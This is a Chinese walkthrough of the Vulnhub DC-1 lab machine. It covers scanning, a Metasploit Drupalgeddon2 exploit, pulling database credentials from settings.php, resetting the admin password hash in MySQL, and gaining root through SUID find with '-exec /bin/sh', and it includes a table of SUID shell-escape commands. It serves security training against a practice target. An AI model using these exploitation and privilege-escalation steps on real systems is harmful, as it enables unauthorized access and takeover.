DC-1 完整渗透测试笔记
文章目录DC-1 完整渗透测试笔记从 Drupalgeddon2 到 root flag一、靶场简介二、环境搭建2.1 主机与靶机网络配置2.2 验证连通性三、信息收集3.1 主机发现arp-scan3.2 端口扫描nmap3.3 Web 服务指纹识别whatweb四、漏洞利用Drupalgeddon2 / CVE-2018-76004.1 漏洞背景4.2 漏洞验证4.3 使用 Metasploit 渗透框架4.4 配置 Exploit 参数4.5 获取交互式 Shell五、后渗透——Flag 145.1 查找 Flag 15.2 通过配置文件获取数据库凭据Flag 25.3 进入 MySQL 数据库5.4 破解管理员密码Flag 35.5 登录网站5.6 查找 Flag 4六、权限提升SUDO → SUID 提权6.1 提权思路6.2 查找 SUID 文件6.3 SUID 提权利用6.4 读取最终 Flag七、总结7.1 漏洞链关键点7.2 学习要点7.3 提权命令清单面试时可能问到八、参考资料DC-1 完整渗透测试笔记从 Drupalgeddon2 到 root flag一、靶场简介DC-1 是 Vulnhub 上的经典入门级 Linux 渗透靶机主要模拟一个使用 Drupal 7 CMS 搭建的网站。该靶机的整体流程为信息收集 → 漏洞利用Drupalgeddon2 → 数据库访问 → 后台获取 flag → SUID 提权find → 读取 root flag靶场地址https://www.vulnhub.com/entry/dc-1-1,292/二、环境搭建2.1 主机与靶机网络配置靶机导入 VirtualBox / VMware 后要Kali 攻击机同样接入同一内网即可。比如网络适配器都选择NAT模式。修改靶机的网络配置或者打开靶机可能会有下面报错这是因为VMware版本过高。只需要修改虚拟机的硬件兼容性就好了把版本改低就行这两个选项随便哪个都可以之后就可以正常修改配置和开启靶机了。2.2 验证连通性# 启动 Kali确认与靶机同网段ifconfig# 攻击机 IP 为 192.168.157.130三、信息收集3.1 主机发现arp-scanarp-scan-l输出确认靶机 IP192.168.157.1513.2 端口扫描nmapnmap-sS-sV-sC-p-192.168.157.151 参数含义 -sS:最常用且默认的扫描方式也称为半开扫描。特点快速且隐蔽不完成TCP三次握手需要root权限。 -sV:探测服务的详细版本信息 -sC:调用 default 默认轻量脚本日常扫服务首选风险低 -p-:扫描所有65535个端口输出结果开放端口22 (SSH)和80 (HTTP)。3.3 Web 服务指纹识别whatweb访问网站使用插件查看得到CMS使用的是Drupal 7也可以使用whatweb查看whatweb http://192.168.157.151输出结果确认目标基于 Drupal 7 搭建。四、漏洞利用Drupalgeddon2 / CVE-2018-76004.1 漏洞背景Drupal 7 7.58 版本存在远程代码执行漏洞CVE-2018-7600由于 Forms API 缺乏对输入数据的充分过滤导致攻击者可以注入 PHP 代码并执行任意命令。4.2 漏洞验证访问 Drupal 7 站点可见默认首页点击任意节点如?qnode/1触发 Drupalgeddon2 漏洞。4.3 使用 Metasploit 渗透框架# 启动 Metasploitmsfconsole-q#-q:静默启动# 搜索对应漏洞利用模块search drupal匹配模块可以看到有很多漏洞选择等级最高的漏洞模块并且时间最新所以选择2018年的4.4 配置 Exploit 参数use1show options#列出当前模块所有可配置参数、必填项、默认值、参数说明这个标志是yes的都是必填项setRHOSTS192.168.157.151#设置攻击目标exploit#漏洞利用执行成功后获得 Meterpreter Shell可执行上传下载、提权、查看系统信息等后渗透操作4.5 获取交互式 Shell# 进入 bashshell# 升级为完全交互 TTY使用 pythonpython-cimport pty; pty.spawn(/bin/bash)当前用户www-dataApache 运行用户五、后渗透——Flag 145.1 查找 Flag 1Drupal 7 默认的 flag 1 文件路径/var/www/html/flag1.txt可以使用find进行查找flag文件find/-name*flag*cat/var/www/html/flag1.txtFlag 1Every good CMS needs a config file - and so do you.5.2 通过配置文件获取数据库凭据Flag 2根据flag1每一套完善的内容管理系统都需要配置文件你同样需要。知道需要去看CMS的配置文件Drupal 配置数据库信息在sites/default/settings.php也可以之间用find进行查找find/-namesettings*cat/var/www/html/sites/default/settings.php获得flag2:Brute force and dictionary attacks aren’t the only ways to gain access (and you WILL need access).What can you do with these credentials?(暴力破解与字典攻击并非获取访问权限的唯一手段而你必然需要拿到访问权限。拿到这些账号凭据后你能做些什么)配置文件中包含 MySQL 数据库账号密码databasedrupaldb,usernamedbuser,passwordR0ck3t,5.3 进入 MySQL 数据库mysql-udbuser-p# 输入密码 R0ck3tuse drupaldb;show tables;可以看到一个users表5.4 破解管理员密码Flag 3# 提取管理员密码哈希selectname,passfromusers;#不知道name,pass字段可以直接select * from users;得到admin用户的密码哈希admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR使用 John the Ripper 破解echo$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR/tmp/admin_hash.txt john /tmp/admin_hash.txt--wordlist/usr/share/wordlists/rockyou.txt但是这种方法非常的慢而且容易爆不出来。可以通过update修改admin密码进行登陆要修改这个密码就要先找到加密文件。先退出mysqlexit;查找文件查看文件若不携带 --root 参数运行该脚本请在你的 Drupal 程序安装根目录执行该脚本回到www目录执行加密文件php scripts/password-hash.sh123456#123456就是新密码得到新密码哈希值$S$DJW7/SVc797lXawr4h3djtuNdNMg.k47kJdLbU3rjISOOe4gtmW0重新进入mysql修改密码mysql-udbuser-p#密码R0ck3tuse drupaldb;updateuserssetpass$S$DJW7/SVc797lXawr4h3djtuNdNMg.k47kJdLbU3rjISOOe4gtmW0wherenameadmin;检查有没有修改成功可以看到admin的密码已经修改新密码就是123456。5.5 登录网站访问http://192.168.157.151/使用admin / 123456登录后台。在网站查找flag3:Flag 3Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.Flag 3特殊权限能够帮你找到口令文件passwd但你需要使用 - exec 参数执行对应命令才能找到影子密码文件shadow内存储的内容。5.6 查找 Flag 4flag3提示了一些信息passwd和shadow/etc/passwd该文件存储了系统用户的基本信息所有用户都可以对其进行文件操作读/etc/shadow该文件存储了系统用户的密码等信息只有root权限用户才能读取读取/etc/passwd文件可以发现几个用户flag4用户为靶机设计的目标用户。查看flag4文件Flag 4Can you use this same method to find or access the flag in root?Probably. But perhaps it’s not that easy. Or maybe it is?Flag 4你能用同样的方法查找或获取 root 目录下的标记文件吗或许可以但过程可能没那么容易又或许很简单六、权限提升SUDO → SUID 提权6.1 提权思路由于当前是www-data用户需要提权到 root。常见的提权路径有SUID 提权原理Linux 文件权限中有一个特殊标志位叫 SUIDSet User ID。当二进制程序被设置了 SUID 位例如 rwsr-xr-x 中的 s时任何用户运行该程序都会临时拥有该程序所有者通常是 root的权限。利用方式系统中有很多合法程序设置了 SUID如 ping、mount。但如果某些具备交互式 shell 调用或文件读写功能的程序如 find、vim、nmap、python被设置了 SUID攻击者就可以利用它们的参数来派生 root shell。sudo 提权原理sudo 允许普通用户以 root或其他用户身份执行特定命令权限由 /etc/sudoers 文件控制。如果配置不当例如允许用户无密码运行某些高危命令就可以提权。利用方式使用 sudo -l 查看当前用户被允许执行哪些命令。如果发现允许执行 find、vim、less、awk 等支持 ! 执行 shell 的程序就能利用它们逃逸出受限环境。内核漏洞提权原理Linux 内核本身存在漏洞如内存竞争、权限校验缺陷攻击者编写并运行 exp漏洞利用程序直接提升进程权限至 root。这种方式不依赖文件权限或 sudo 配置。利用方式用 uname -a 查看内核版本搜索对应的漏洞利用代码如 DirtyCow、overlayfs、perf_event。下载到靶机编译运行即可。6.2 查找 SUID 文件find/-perm-us2/dev/null关键发现/usr/bin/findfind命令拥有 SUID 权限这是 DC-1 的经典利用点。find命令自带了 -exec 和 -ok 参数这两个参数的作用是对搜索到的每一个文件执行后面跟随的系统命令。因为它以 root 权限运行所以 -exec 调用的任何命令都会继承 root 权限。利用它提权只需要一行代码6.3 SUID 提权利用根据 GTFOBins 公开的 Linux 提权方法find.-exec/bin/sh\;-quit使用whoami验证身份。成功获得 root shell。6.4 读取最终 Flagfind/root-name*flag*cat/root/thefinalflag.txtFinal FlagWell done!!!Hopefully you’ve enjoyed this and learned some new skills.You can let me know what you thought of this little journeyby contacting me via Twitter - DCAU7七、总结7.1 漏洞链关键点DC-1 的完整漏洞利用链nmap 扫描 → 22/80 端口开放 ↓ web 指纹识别 → Drupal 7 框架 ↓ Metasploit Drupalgeddon2 → 获取 www-data 权限 ↓ 读取 settings.php → 获取数据库凭据 ↓ MySQL 数据库 → 提取管理员哈希 / 修改 admin 密码 ↓ 进入后台 多用户登录 → Flag 1-4 ↓ find SUID 提权 → root shell → Final Flag7.2 学习要点信息收集很关键nmap whatweb 这两步就锁定了 Drupal 7 框架CMS 漏洞Drupal、WordPress、Joomla 这三大 CMS 的历史漏洞配置文件常泄露凭据settings.php、wp-config.php、configuration.php都是关键SUID 提权是基本功find、vim、less、awk、nmap等都是常见的 SUID 提权命令7.3 提权命令清单面试时可能问到SUID 命令提权方法findfind . -exec /bin/sh \;vimvim -c :!/bin/shlessless /etc/profile→!/bin/shawkawk BEGIN {system(/bin/sh)}nmapnmap --interactive旧版八、参考资料GTFOBins 提权命令大全https://gtfobins.github.io/

相关新闻

大语言模型应用开发:如何避免AI奉承与用户依赖的技术方案

大语言模型应用开发:如何避免AI奉承与用户依赖的技术方案

在开发基于大语言模型(LLM)的应用程序时,我们常常会惊叹于其强大的内容生成和对话能力。然而,一个容易被开发者忽视的深层问题是:我们训练和调优的AI,是否正在潜移默化地塑造一种“阿谀奉承”的交互模式&am…

2026/8/9 8:35:56 阅读更多 →
Unity插件精选:50款提升游戏开发效率的实战工具清单

Unity插件精选:50款提升游戏开发效率的实战工具清单

1. 项目概述:为什么你需要一份高质量的Unity插件清单? 在Unity游戏开发的日常里,我经常听到同行们抱怨:“Asset Store里插件太多了,看得眼花缭乱,不知道哪个靠谱。” 或者“项目卡在某个环节,感…

2026/8/9 8:35:56 阅读更多 →
小龙虾养殖自动化设备一键安装技术解析

小龙虾养殖自动化设备一键安装技术解析

1. 小龙虾养殖自动化设备现状分析 小龙虾养殖行业近年来正经历着从传统人工操作向智能化管理的转型。在江苏盱眙、湖北潜江等主要产区,越来越多的养殖户开始采用自动化投喂设备替代人工操作。这类设备通常由以下几个核心组件构成: 智能控制主机&#xf…

2026/8/9 8:35:56 阅读更多 →

最新新闻

首个开源 PR 从 0 到合并:Reasonix 修复全流程复盘

首个开源 PR 从 0 到合并:Reasonix 修复全流程复盘

一直用别人的开源项目,从来没给开源项目提过 PR。这次碰巧撞上一个 bug,从报告 issue 到写补丁到合并进上游,完整走了一遍流程。记录下来,既是复盘,也给"想贡献开源但不知道怎么开始"的人一个参考。 背景 Re…

2026/8/9 16:13:55 阅读更多 →
003011015_三个 WPF 模块化核心问题 逐题深度解析

003011015_三个 WPF 模块化核心问题 逐题深度解析

003011015_三个 WPF 模块化核心问题 逐题深度解析摘要:本文深入解析 WPF 模块化开发中的三大核心问题——模块间通信(Prism 事件聚合器、共享服务、依赖注入等五种工业方案)、性能优化(UI 虚拟化、异步处理、资源管理等六个维度&a…

2026/8/9 16:13:55 阅读更多 →
LLM应用A/B测试实战:从指标设计到统计分析的完整方案

LLM应用A/B测试实战:从指标设计到统计分析的完整方案

1. 项目概述:为什么说“不测即赌”?在LLM(大语言模型)应用开发如火如荼的今天,我们每天都要和各种各样的“提示词”打交道。无论是构建一个智能客服,还是一个内容生成工具,核心的交互逻辑往往就…

2026/8/9 16:13:55 阅读更多 →
终极开源游戏流媒体方案:Sunshine与Moonlight的完美协作指南

终极开源游戏流媒体方案:Sunshine与Moonlight的完美协作指南

终极开源游戏流媒体方案:Sunshine与Moonlight的完美协作指南 【免费下载链接】sunshine Host for Moonlight Streaming Client 项目地址: https://gitcode.com/gh_mirrors/sun/sunshine Sunshine是一款功能强大的开源游戏流媒体主机软件,专门为Mo…

2026/8/9 16:13:55 阅读更多 →
服务器内存告急、swap疯狂写、OOM乱杀无辜进程——我踩过的三个大坑一次讲清

服务器内存告急、swap疯狂写、OOM乱杀无辜进程——我踩过的三个大坑一次讲清

# 服务器内存告急、swap疯狂写、OOM乱杀无辜进程——我踩过的三个大坑一次讲清 很多运维看到内存告警,第一反应就是 `free -h` 看一眼,然后"内存不够,加钱升配"。我认为这是最蠢的处理方式。之前线上一个支付服务被 OOM 杀了三次,我连续三周半夜爬起来重启,后来…

2026/8/9 16:13:55 阅读更多 →
写代码越久,越懂程序员的底层常态

写代码越久,越懂程序员的底层常态

逛了好几年CSDN,刷过几万篇博文,踩过无数前辈记录的坑,也自己敲过不少水文、干货。慢慢发现,程序员这个圈子,从来不是靠技术天赋拉开差距,大多时候拼的是耐心、容错,还有和Bug死磕到底的倔脾气。…

2026/8/9 16:12:54 阅读更多 →

日新闻

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁 【免费下载链接】baidupankey 在线查询网盘提取码(维护中 rm repo) 项目地址: https://gitcode.com/gh_mirrors/ba/baidupankey 你是否曾经在深夜寻找一份重要资料&#x…

2026/8/9 0:01:47 阅读更多 →
如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南 【免费下载链接】chinese_license_plate_generator 中国车牌生成器 项目地址: https://gitcode.com/gh_mirrors/ch/chinese_license_plate_generator 中国车牌生成器是一个基于Python的开源项目&#xff0c…

2026/8/9 0:01:47 阅读更多 →
收藏!小白程序员轻松入门大模型,从Harness工程开始实践

收藏!小白程序员轻松入门大模型,从Harness工程开始实践

文章强调学习大模型不应只关注模型本身,而应重视模型外的系统搭建,即Harness。提出AgentModelHarness的实用公式,详细介绍Harness的四个层次:持久化层、执行层、控制层和观察与验证层。文章还探讨了上下文工程、工具设计、AGENTS.…

2026/8/9 0:03:48 阅读更多 →

周新闻

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁 【免费下载链接】baidupankey 在线查询网盘提取码(维护中 rm repo) 项目地址: https://gitcode.com/gh_mirrors/ba/baidupankey 你是否曾经在深夜寻找一份重要资料&#x…

2026/8/9 0:01:47 阅读更多 →
如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南 【免费下载链接】chinese_license_plate_generator 中国车牌生成器 项目地址: https://gitcode.com/gh_mirrors/ch/chinese_license_plate_generator 中国车牌生成器是一个基于Python的开源项目&#xff0c…

2026/8/9 0:01:47 阅读更多 →
收藏!小白程序员轻松入门大模型,从Harness工程开始实践

收藏!小白程序员轻松入门大模型,从Harness工程开始实践

文章强调学习大模型不应只关注模型本身,而应重视模型外的系统搭建,即Harness。提出AgentModelHarness的实用公式,详细介绍Harness的四个层次:持久化层、执行层、控制层和观察与验证层。文章还探讨了上下文工程、工具设计、AGENTS.…

2026/8/9 0:03:48 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/8 17:02:44 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/9 0:45:04 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/8 17:02:44 阅读更多 →